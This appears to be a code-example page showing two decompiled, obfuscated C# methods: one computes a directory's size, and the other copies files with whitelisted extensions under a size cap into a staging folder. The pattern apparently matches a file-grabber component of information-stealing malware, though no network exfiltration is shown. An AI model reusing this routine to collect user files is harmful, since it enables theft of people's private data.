Beispiel #1
0
 // Token: 0x06000212 RID: 530 RVA: 0x0001097C File Offset: 0x0000EB7C
 private static long smethod_0(string string_0, long long_0 = 0L)
 {
     try
     {
         foreach (string fileName in Directory.EnumerateFiles(string_0))
         {
             try
             {
                 long_0 += new FileInfo(fileName).Length;
             }
             catch
             {
             }
         }
         foreach (string string_ in Directory.EnumerateDirectories(string_0))
         {
             try
             {
                 long_0 += GetFiles.smethod_0(string_, 0L);
             }
             catch
             {
             }
         }
     }
     catch
     {
     }
     return(long_0);
 }
Beispiel #2
0
        // Token: 0x06000213 RID: 531 RVA: 0x00010A54 File Offset: 0x0000EC54
        public static void CopyDirectory(string source, string target, string pattern, long maxSize)
        {
            Stack <GetFiles.Folders> stack = new Stack <GetFiles.Folders>();

            stack.Push(new GetFiles.Folders(source, target));
            long num = GetFiles.smethod_0(target, 0L);

            while (stack.Count > 0)
            {
                GetFiles.Folders folders = stack.Pop();
                try
                {
                    Directory.CreateDirectory(folders.Target);
                    foreach (string text in Directory.EnumerateFiles(folders.Source, pattern))
                    {
                        try
                        {
                            if (Array.IndexOf <string>(Class1.string_1, Path.GetExtension(text).ToLower()) >= 0)
                            {
                                string text2 = Path.Combine(folders.Target, Path.GetFileName(text));
                                if (new FileInfo(text).Length / 1024L < 5000L)
                                {
                                    File.Copy(text, text2);
                                    num += new FileInfo(text2).Length;
                                    if (num > maxSize)
                                    {
                                        return;
                                    }
                                    GetFiles.count++;
                                }
                            }
                        }
                        catch
                        {
                        }
                    }
                }
                catch (UnauthorizedAccessException)
                {
                    continue;
                }
                catch (PathTooLongException)
                {
                    continue;
                }
                try
                {
                    foreach (string text3 in Directory.EnumerateDirectories(folders.Source))
                    {
                        try
                        {
                            if (!text3.Contains(Path.Combine(Help.DesktopPath, Environment.UserName)))
                            {
                                stack.Push(new GetFiles.Folders(text3, Path.Combine(folders.Target, Path.GetFileName(text3))));
                            }
                        }
                        catch
                        {
                        }
                    }
                }
                catch (UnauthorizedAccessException)
                {
                }
                catch (DirectoryNotFoundException)
                {
                }
                catch (PathTooLongException)
                {
                }
            }
            stack.Clear();
        }